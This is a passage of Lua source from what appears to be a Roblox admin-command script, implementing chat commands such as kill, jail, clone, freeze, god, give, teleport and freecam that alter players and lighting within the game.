local msh2 = msh:Clone() msh2.Parent = back
local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
local msh4 = msh3:Clone() msh4.Parent = left
v.Character.Torso.CFrame = cf
end
end))
end
end

if msg:lower():sub(1,7) == &quot;unjail &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. &quot; Jail&quot; then jl:Remove() end end end end)) end
end


if msg:lower():sub(1,11) == &quot;starttools &quot; then
local plrz = GetPlr(plr, msg:lower():sub(12))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;Backpack&quot;) then
for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
end
end))
end
end


if msg:lower():sub(1,6) == &quot;sword &quot; then
local plrz = GetPlr(plr, msg:lower():sub(7))

for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;Backpack&quot;) then
local newsword = script.scripts.Sword:Clone()
newsword.Parent = v.Backpack
local handle = Instance.new(&quot;Part&quot;, newsword)
handle.Name = &quot;Handle&quot;
handle.Size = Vector3.new(1, 0.8, 4)
newsword.Mesh.Parent = newsword.Handle
newsword[&quot;Local Gui&quot;].Disabled = false
newsword.SwordScript.Disabled = false
end
end))
end
end


if msg:lower():sub(1,6) == &quot;clone &quot; then
local plrz = GetPlr(plr, msg:lower():sub(7))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then
pcall(function() v.Character.archivable = true end)
pcall(function() v.Character.Archivable = true end)
local cl = v.Character:Clone() 
table.insert(objects,cl) 
cl.Parent = game.Workspace 
cl:MoveTo(v.Character:GetModelCFrame().p)
cl:MakeJoints()
pcall(function() v.Character.archivable = false end)
pcall(function() v.Character.Archivable = false end) --^not trying to see if 2014 is backwards compatible with lowercase so fk it
end
end))
end
end

if msg:lower():sub(1,8) == &quot;control &quot; then
local plrz = GetPlr(plr, msg:lower():sub(9))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then
v.Character.Humanoid.PlatformStand = true
local w = Instance.new(&quot;Weld&quot;, plr.Character.Torso ) 
w.Part0 = plr.Character.Torso 
w.Part1 = v.Character.Torso  
local w2 = Instance.new(&quot;Weld&quot;, plr.Character.Head) 
w2.Part0 = plr.Character.Head 
w2.Part1 = v.Character.Head  
local w3 = Instance.new(&quot;Weld&quot;, plr.Character:findFirstChild(&quot;Right Arm&quot;)) 
w3.Part0 = plr.Character:findFirstChild(&quot;Right Arm&quot;)
w3.Part1 = v.Character:findFirstChild(&quot;Right Arm&quot;) 
local w4 = Instance.new(&quot;Weld&quot;, plr.Character:findFirstChild(&quot;Left Arm&quot;))
w4.Part0 = plr.Character:findFirstChild(&quot;Left Arm&quot;)
w4.Part1 = v.Character:findFirstChild(&quot;Left Arm&quot;) 
local w5 = Instance.new(&quot;Weld&quot;, plr.Character:findFirstChild(&quot;Right Leg&quot;)) 
w5.Part0 = plr.Character:findFirstChild(&quot;Right Leg&quot;)
w5.Part1 = v.Character:findFirstChild(&quot;Right Leg&quot;) 
local w6 = Instance.new(&quot;Weld&quot;, plr.Character:findFirstChild(&quot;Left Leg&quot;)) 
w6.Part0 = plr.Character:findFirstChild(&quot;Left Leg&quot;)
w6.Part1 = v.Character:findFirstChild(&quot;Left Leg&quot;) 
plr.Character.Head.face:Remove()
for i, p in pairs(v.Character:children()) do
if p:isA(&quot;BasePart&quot;) then 
p.CanCollide = false
end
end
for i, p in pairs(plr.Character:children()) do
if p:isA(&quot;BasePart&quot;) then 
p.Transparency = 1 
elseif p:isA(&quot;Hat&quot;) then
p:Remove()
end
end
v.Character.Parent = plr.Character
v.Character.Humanoid.Changed:connect(function() v.Character.Humanoid.PlatformStand = true end)
end
end))
end
end

if msg:lower():sub(1,5) == &quot;kill &quot; then
local plrz = GetPlr(plr, msg:lower():sub(6))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then v.Character:BreakJoints() end
end))
end
end

if msg:lower():sub(1,8) == &quot;respawn &quot; then
local plrz = GetPlr(plr, msg:lower():sub(9))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then v:LoadCharacter() end
end))
end
end

if msg:lower():sub(1,5) == &quot;trip &quot; then
local plrz = GetPlr(plr, msg:lower():sub(6))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 
v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180)) 
end
end))
end
end

if msg:lower():sub(1,5) == &quot;stun &quot; then
local plrz = GetPlr(plr, msg:lower():sub(6))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Humanoid&quot;) then 
v.Character.Humanoid.PlatformStand = true
end
end))
end
end

if msg:lower():sub(1,7) == &quot;unstun &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Humanoid&quot;) then 
v.Character.Humanoid.PlatformStand = false
end
end))
end
end



if msg:lower():sub(1,6) == &quot;gubby &quot; then
local plrz = GetPlr(plr, msg:lower():sub(7))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and not v:findFirstChild(&quot;gubby&quot;) then 
local gubby = script.scripts.gubby:clone() gubby.Parent = v.Character
gubby.Disabled = false
end
end))
end
end



if msg:lower():sub(1,5) == &quot;jump &quot; then
local plrz = GetPlr(plr, msg:lower():sub(6))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Humanoid&quot;) then 
v.Character.Humanoid.Jump = true
end
end))
end
end

if msg:lower():sub(1,4) == &quot;sit &quot; then
local plrz = GetPlr(plr, msg:lower():sub(5))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Humanoid&quot;) then 
v.Character.Humanoid.Sit = true
end
end))
end
end

if msg:lower():sub(1,10) == &quot;invisible &quot; then
local plrz = GetPlr(plr, msg:lower():sub(11))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then 
for a, obj in pairs(v.Character:children()) do 
if obj:isA(&quot;BasePart&quot;) then obj.Transparency = 1 if obj:findFirstChild(&quot;face&quot;) then obj.face.Transparency = 1 end elseif obj:isA(&quot;Hat&quot;) and obj:findFirstChild(&quot;Handle&quot;) then obj.Handle.Transparency = 1 end
end
end
end))
end
end

if msg:lower():sub(1,8) == &quot;visible &quot; then
local plrz = GetPlr(plr, msg:lower():sub(9))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then 
for a, obj in pairs(v.Character:children()) do 
if obj:isA(&quot;BasePart&quot;) then obj.Transparency = 0 if obj:findFirstChild(&quot;face&quot;) then obj.face.Transparency = 0 end elseif obj:isA(&quot;Hat&quot;) and obj:findFirstChild(&quot;Handle&quot;) then obj.Handle.Transparency = 0 end
end
end
end))
end
end

if msg:lower():sub(1,5) == &quot;lock &quot; then
local plrz = GetPlr(plr, msg:lower():sub(6))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then 
for a, obj in pairs(v.Character:children()) do 
if obj:isA(&quot;BasePart&quot;) then obj.Locked = true elseif obj:isA(&quot;Hat&quot;) and obj:findFirstChild(&quot;Handle&quot;) then obj.Handle.Locked = true end
end
end
end))
end
end

if msg:lower():sub(1,7) == &quot;unlock &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then 
for a, obj in pairs(v.Character:children()) do 
if obj:isA(&quot;BasePart&quot;) then obj.Locked = false elseif obj:isA(&quot;Hat&quot;) and obj:findFirstChild(&quot;Handle&quot;) then obj.Handle.Locked = false end
end
end
end))
end
end

if msg:lower():sub(1,8) == &quot;explode &quot; then
local plrz = GetPlr(plr, msg:lower():sub(9))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 
local ex = Instance.new(&quot;Explosion&quot;, game.Workspace) ex.Position = v.Character.Torso.Position
end
end))
end
end

if msg:lower():sub(1,7) == &quot;rocket &quot; then ---ABSOLUTELY not skidded from p299!!!
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 
local ex = Instance.new(&quot;Explosion&quot;, game.Workspace) ex.BlastPressure = 0 ex.Position = v.Character.Torso.Position
local r = Instance.new(&quot;Part&quot;)
r.Name = &quot;Rocket&quot;
r.Size = Vector3.new(1,8,1)
r.TopSurface = &quot;Smooth&quot;
r.BottomSurface = &quot;Smooth&quot;
local w = Instance.new(&quot;Weld&quot;)
w.Part1 = v.Character.Torso
w.Part0 = r
w.C0 = CFrame.new(0,0,-1)
local bt = Instance.new(&quot;BodyThrust&quot;)
bt.force = Vector3.new(0,5700,0)
bt.Parent = r
r.Parent = v.Character
w.Parent = v.Character.Torso
local roc = script.scripts.rocket:clone()
roc.Parent = v.Character.Rocket
roc.Disabled = false
end
end))
end
end

if msg:lower():sub(1,4) == &quot;age &quot; then
local plrz = GetPlr(plr, msg:lower():sub(5))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v then Message(v.Name .. &quot;&apos;s age&quot;, tostring(v.AccountAge), false, {plr}) end
end))
end
end

if msg:lower():sub(1,5) == &quot;fire &quot; then
local plrz = GetPlr(plr, msg:lower():sub(6))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 
local cl = Instance.new(&quot;Fire&quot;, v.Character.Torso) table.insert(objects, cl)
end
end))
end
end

if msg:lower():sub(1,7) == &quot;unfire &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 
for z, cl in pairs(v.Character.Torso:children()) do if cl:isA(&quot;Fire&quot;) then cl:Remove() end end
end
end))
end
end

if msg:lower():sub(1,6) == &quot;smoke &quot; then
local plrz = GetPlr(plr, msg:lower():sub(7))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 
local cl = Instance.new(&quot;Smoke&quot;, v.Character.Torso) table.insert(objects, cl)
end
end))
end
end

if msg:lower():sub(1,8) == &quot;unsmoke &quot; then
local plrz = GetPlr(plr, msg:lower():sub(9))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 
for z, cl in pairs(v.Character.Torso:children()) do if cl:isA(&quot;Smoke&quot;) then cl:Remove() end end
end
end))
end
end

if msg:lower():sub(1,9) == &quot;sparkles &quot; then
local plrz = GetPlr(plr, msg:lower():sub(10))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 
local cl = Instance.new(&quot;Sparkles&quot;, v.Character.Torso) table.insert(objects, cl)
end
end))
end
end

if msg:lower():sub(1,11) == &quot;unsparkles &quot; then
local plrz = GetPlr(plr, msg:lower():sub(12))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 
for z, cl in pairs(v.Character.Torso:children()) do if cl:isA(&quot;Sparkles&quot;) then cl:Remove() end end
end
end))
end
end

if msg:lower():sub(1,3) == &quot;ff &quot; then
local plrz = GetPlr(plr, msg:lower():sub(4))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then Instance.new(&quot;ForceField&quot;, v.Character) end
end))
end
end

if msg:lower():sub(1,5) == &quot;unff &quot; then
local plrz = GetPlr(plr, msg:lower():sub(6))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then 
for z, cl in pairs(v.Character:children()) do if cl:isA(&quot;ForceField&quot;) then cl:Remove() end end
end
end))
end
end

if msg:lower():sub(1,7) == &quot;punish &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then 
v.Character.Parent = game:service(&quot;Lighting&quot;)
end
end))
end
end

if msg:lower():sub(1,9) == &quot;unpunish &quot; then
local plrz = GetPlr(plr, msg:lower():sub(10))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then 
v.Character.Parent = game:service(&quot;Workspace&quot;)
v.Character:MakeJoints()
end
end))
end
end

if msg:lower():sub(1,7) == &quot;freeze &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Humanoid&quot;) then 
for a, obj in pairs(v.Character:children()) do 
if obj:isA(&quot;BasePart&quot;) then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
end
end
end))
end
end

if msg:lower():sub(1,5) == &quot;thaw &quot; then
local plrz = GetPlr(plr, msg:lower():sub(6))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Humanoid&quot;) then 
for a, obj in pairs(v.Character:children()) do 
if obj:isA(&quot;BasePart&quot;) then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
end
end
end))
end
end

if msg:lower():sub(1,5) == &quot;heal &quot; then
local plrz = GetPlr(plr, msg:lower():sub(6))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Humanoid&quot;) then 
v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
end
end))
end
end

if msg:lower():sub(1,4) == &quot;god &quot; then
local plrz = GetPlr(plr, msg:lower():sub(5))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Humanoid&quot;) then 
v.Character.Humanoid.MaxHealth = math.huge
v.Character.Humanoid.Health = 9e9
end
end))
end
end

if msg:lower():sub(1,6) == &quot;ungod &quot; then
local plrz = GetPlr(plr, msg:lower():sub(7))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Humanoid&quot;) then 
v.Character.Humanoid.MaxHealth = 100
v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
end
end))
end
end

if msg:lower():sub(1,8) == &quot;ambient &quot; then
local chk1 = msg:lower():sub(9):find(&quot; &quot;) + 8
local chk2 = msg:sub(chk1+1):find(&quot; &quot;) + chk1
game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
end

if msg:lower():sub(1,11) == &quot;brightness &quot; then
game.Lighting.Brightness = msg:sub(12)
end

if msg:lower():sub(1,5) == &quot;time &quot; then
game.Lighting.TimeOfDay = msg:sub(6)
end

if msg:lower():sub(1,9) == &quot;fogcolor &quot; then
local chk1 = msg:lower():sub(10):find(&quot; &quot;) + 9
local chk2 = msg:sub(chk1+1):find(&quot; &quot;) + chk1
pcall(function() game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1)) end)
end

if msg:lower():sub(1,7) == &quot;fogend &quot; then
pcall(function() game.Lighting.FogEnd = msg:sub(8) end)
end

if msg:lower():sub(1,9) == &quot;fogstart &quot; then
pcall(function() game.Lighting.FogStart = msg:sub(10) end)
end

if msg:lower():sub(1,7) == &quot;btools &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;Backpack&quot;) then 
local t1 = Instance.new(&quot;HopperBin&quot;, v.Backpack) t1.Name = &quot;Move&quot; t1.BinType = &quot;GameTool&quot;
local t2 = Instance.new(&quot;HopperBin&quot;, v.Backpack) t2.Name = &quot;Clone&quot; t2.BinType = &quot;Clone&quot;
local t3 = Instance.new(&quot;HopperBin&quot;, v.Backpack) t3.Name = &quot;Delete&quot; t3.BinType = &quot;Hammer&quot;
local t4 = Instance.new(&quot;HopperBin&quot;, v.Backpack) t4.Name = &quot;Resize&quot;
local t5 = Instance.new(&quot;HopperBin&quot;, v.Backpack) t5.Name = &quot;Unlock&quot;
local cl4 = script.scripts.resize:Clone() cl4.Parent = t4 cl4.Disabled = false
local cl5 = script.scripts.unlock:Clone() cl5.Parent = t5 cl5.Disabled = false
local c16 = script.scripts.Rotate:Clone() c16.Parent = v.Backpack c16.Rotate.Disabled = false local c16a = Instance.new(&quot;Part&quot;, c16) c16a.Name = &quot;Handle&quot; c16.Mesh.Parent = c16a 
end
end))
end
end

if msg:lower():sub(1,12) == &quot;startergive &quot; then
local chk1 = msg:lower():sub(13):find(&quot; &quot;) + 12
local plrz = GetPlr(plr, msg:lower():sub(13,chk1-1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;StarterGear&quot;) and game:findFirstChild(&quot;Lighting&quot;) then 
for a, tool in pairs(game.Lighting:children()) do
if tool:isA(&quot;Tool&quot;) or tool:isA(&quot;HopperBin&quot;) then
if msg:lower():sub(chk1+1) == &quot;all&quot; or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.StarterGear end
end
end
end
end))
end
end

if msg:lower():sub(1,5) == &quot;give &quot; then
local chk1 = msg:lower():sub(6):find(&quot; &quot;) + 5
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;Backpack&quot;) and game:findFirstChild(&quot;Lighting&quot;) then 
for a, tool in pairs(game.Lighting:children()) do
if tool:isA(&quot;Tool&quot;) or tool:isA(&quot;HopperBin&quot;) then
if msg:lower():sub(chk1+1) == &quot;all&quot; or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
end
end
end
end))
end
end

if msg:lower():sub(1,12) == &quot;removetools &quot; then
local plrz = GetPlr(plr, msg:lower():sub(13))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v:findFirstChild(&quot;Backpack&quot;) then 
for a, tool in pairs(v.Character:children()) do if tool:isA(&quot;Tool&quot;) or tool:isA(&quot;HopperBin&quot;) then tool:Remove() end end
for a, tool in pairs(v.Backpack:children()) do if tool:isA(&quot;Tool&quot;) or tool:isA(&quot;HopperBin&quot;) then tool:Remove() end end
end
end))
end
end

if msg:lower():sub(1,5) == &quot;rank &quot; then
local chk1 = msg:lower():sub(6):find(&quot; &quot;) + 5
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:IsInGroup(msg:sub(chk1+1)) then 
Hint(&quot;[&quot; .. v:GetRankInGroup(msg:sub(chk1+1)) .. &quot;] &quot; .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
elseif v and not v:IsInGroup(msg:sub(chk1+1))then
Hint(v.Name .. &quot; is not in the group &quot; .. msg:sub(chk1+1), {plr})
end
end))
end
end

if msg:lower():sub(1,7) == &quot;damage &quot; then
local chk1 = msg:lower():sub(8):find(&quot; &quot;) + 7
local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Humanoid&quot;) then 
v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
end
end))
end
end

if msg:lower():sub(1,5) == &quot;grav &quot; then
local plrz = GetPlr(plr, msg:lower():sub(6))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 
for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == &quot;BFRC&quot; then frc:Remove() end end
end
end))
end
end

if msg:lower():sub(1,8) == &quot;setgrav &quot; then
local chk1 = msg:lower():sub(9):find(&quot; &quot;) + 8
local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 
for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == &quot;BFRC&quot; then frc:Remove() end end
local frc = Instance.new(&quot;BodyForce&quot;, v.Character.Torso) frc.Name = &quot;BFRC&quot; frc.force = Vector3.new(0,0,0)
for a, prt in pairs(v.Character:children()) do if prt:isA(&quot;BasePart&quot;) then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:isA(&quot;Hat&quot;) then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
end
end))
end
end

if msg:lower():sub(1,7) == &quot;nograv &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 
for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == &quot;BFRC&quot; then frc:Remove() end end
local frc = Instance.new(&quot;BodyForce&quot;, v.Character.Torso) frc.Name = &quot;BFRC&quot; frc.force = Vector3.new(0,0,0)
for a, prt in pairs(v.Character:children()) do if prt:isA(&quot;BasePart&quot;) then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:isA(&quot;Hat&quot;) then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
end
end))
end
end

if msg:lower():sub(1,7) == &quot;health &quot; then
local chk1 = msg:lower():sub(8):find(&quot; &quot;) + 7
local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Humanoid&quot;) then 
v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
end
end))
end
end

if msg:lower():sub(1,6) == &quot;speed &quot; then
local chk1 = msg:lower():sub(7):find(&quot; &quot;) + 6
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Humanoid&quot;) then 
v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
end
end))
end
end

if msg:lower():sub(1,5) == &quot;team &quot; then
local chk1 = msg:lower():sub(6):find(&quot; &quot;) + 5
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and game:findFirstChild(&quot;Teams&quot;) then 
for a, tm in pairs(game.Teams:children()) do
if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
end
end
end))
end
end

if msg:lower():sub(1,6) == &quot;place &quot; then
local chk1 = msg:lower():sub(7):find(&quot; &quot;) + 6
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;PlayerGui&quot;) then 
local cl = script.teleport:Clone() cl.Code.Value = [[game:service(&quot;TeleportService&quot;):Teleport(]] .. msg:sub(chk1+1) .. &quot;)&quot; cl.Parent = v.PlayerGui cl.Disabled = false
end
end))
end
end

if msg:lower():sub(1,3) == &quot;tp &quot; then
local chk1 = msg:lower():sub(4):find(&quot; &quot;) + 3
local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
for i2, v2 in pairs(plrz2) do
if v and v2 and v.Character and v2.Character and v.Character:findFirstChild(&quot;Torso&quot;) and v2.Character:findFirstChild(&quot;Torso&quot;) then
v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
end
end
end))
end
end

if msg:lower():sub(1,7) == &quot;change &quot; then
local chk1 = msg:lower():sub(8):find(&quot; &quot;) + 7
local chk2 = msg:sub(chk1+1):find(&quot; &quot;) + chk1
local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;leaderstats&quot;) then 
for a, st in pairs(v.leaderstats:children()) do
if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
end
end
end))
end
end

if msg:lower():sub(1,8) == &quot;freecam &quot; or msg:lower():sub(1,3) == &quot;fc &quot; then --wow what an eyesore
local pref = msg:lower():sub(1,3) == &quot;fc &quot; and 3 or 8
local rest = msg:sub(pref+1)
local spc  = rest:find(&quot; &quot;)
local user = spc and rest:sub(1,spc-1) or rest
local spd  = spc and tonumber(rest:sub(spc+1)) or nil
local plrz = GetPlr(plr, user)

for i, v in ipairs(plrz) do
if v.PlayerGui:findFirstChild(&quot;L2012fc&quot;) or v.Backpack:findFirstChild(&quot;Freecam&quot;) then
if v.PlayerGui:findFirstChild(&quot;L2012fc&quot;) then
local fc = v.PlayerGui:findFirstChild(&quot;L2012fc&quot;)
if spd then
local s = fc:findFirstChild(&quot;Speed&quot;)
if s and s:isA(&quot;NumberValue&quot;) then s.Value = spd end
end
end
if v.Backpack:findFirstChild(&quot;Freecam&quot;) then
local fc = v.Backpack:findFirstChild(&quot;Freecam&quot;)
if spd then
local s = fc:findFirstChild(&quot;LocalScript&quot;):findFirstChild(&quot;Speed&quot;)
if s and s:isA(&quot;NumberValue&quot;) then s.Value = spd end
end
end

else

local is2012L = pcall(function() return game:GetService(&quot;UserInputService&quot;).GamepadEnabled end)
if is2012L then
local L2012 = script.scripts.L2012fc:clone() L2012.Parent = v.PlayerGui
if spd then
local s = L2012:findFirstChild(&quot;Speed&quot;)
if s and s:isA(&quot;NumberValue&quot;) then s.Value = spd end
end
L2012.Disabled = false
else
local pre2012 = script.scripts.Freecam:clone() pre2012.Parent = v.Backpack
if spd then
local s = pre2012:findFirstChild(&quot;LocalScript&quot;):findFirstChild(&quot;Speed&quot;)
if s and s:isA(&quot;NumberValue&quot;) then s.Value = spd end
end
pre2012.LocalScript.Disabled = false
end
end
end
end


if msg:lower():sub(1,10) == &quot;unfreecam &quot; or msg:lower():sub(1,5) == &quot;unfc &quot; then
local pref = msg:lower():sub(1,5) == &quot;unfc &quot; and 5 or 10
local user = msg:sub(pref+1)
local plrz = GetPlr(plr, user)
for i, v in ipairs(plrz) do
if v.Backpack:findFirstChild(&quot;Freecam&quot;) then
local fc = v.Backpack:findFirstChild(&quot;Freecam&quot;)
local ls = fc:findFirstChild(&quot;LocalScript&quot;)
if ls then
local dis = ls:findFirstChild(&quot;Disable&quot;)
if dis and dis:isA(&quot;BoolValue&quot;) then dis.Value = true end
end
wait()
fc:remove()
elseif v.PlayerGui:findFirstChild(&quot;L2012fc&quot;) then
local fc = v.PlayerGui:findFirstChild(&quot;L2012fc&quot;)
local dis = fc:findFirstChild(&quot;Disable&quot;)
if dis and dis:isA(&quot;BoolValue&quot;) then dis.Value = true end
wait()
fc:remove()
end
end
end


if msg:lower():sub(1,5) == &quot;view &quot; then
local targets = GetPlr(plr, msg:lower():sub(6))
for i, v in ipairs(targets) do
coroutine.resume(coroutine.create(function()
if v and v.Character then
local gui = plr.PlayerGui
if gui:findFirstChild(&quot;view&quot;) then
local view = gui.view
view.Target.Value = v.Character.Humanoid
view.Disable.Value = false
else
local viewscript = script.scripts.view:clone()
viewscript.Parent = gui
viewscript.Target.Value = v.Character.Humanoid
viewscript.Disable.Value = false
viewscript.Disabled = false
end
end
end))
end
end

if msg:lower():sub(1,6) == &quot;unview&quot; then
coroutine.resume(coroutine.create(function()
if plr.PlayerGui:findFirstChild(&quot;view&quot;) then
local view = plr.PlayerGui.view
view.Disable.Value = true
wait()
view:remove()
end
end))
end



if msg:lower():sub(1,5) == &quot;grav &quot; then
local plrz = GetPlr(plr, msg:lower():sub(6))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 
for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == &quot;BFRC&quot; then frc:Remove() end end
end
end))
end
end


if msg:lower():sub(1,6) == &quot;shirt &quot; then
local sep = msg:find(&quot; &quot;, 7)
local chk2 = msg:sub(sep + 1)
local idNum = tonumber(chk2) or 0
local plrz = GetPlr(plr, msg:sub(7, sep - 1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then
for i, v in pairs(v.Character:children()) do
if v:isA(&quot;Shirt&quot;) then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = (idNum &lt;= 5000 and &quot;http://1.0char.co/Catalog/catalogitem.php?id=&quot;..chk2..&quot;&amp;type=shirt&quot; or &quot;http://www.roblox.com/asset/?id=&quot;..chk2) v:Remove() end
end
end
end))
end
end


if msg:lower():sub(1,6) == &quot;pants &quot; then
local sep = msg:find(&quot; &quot;, 7)
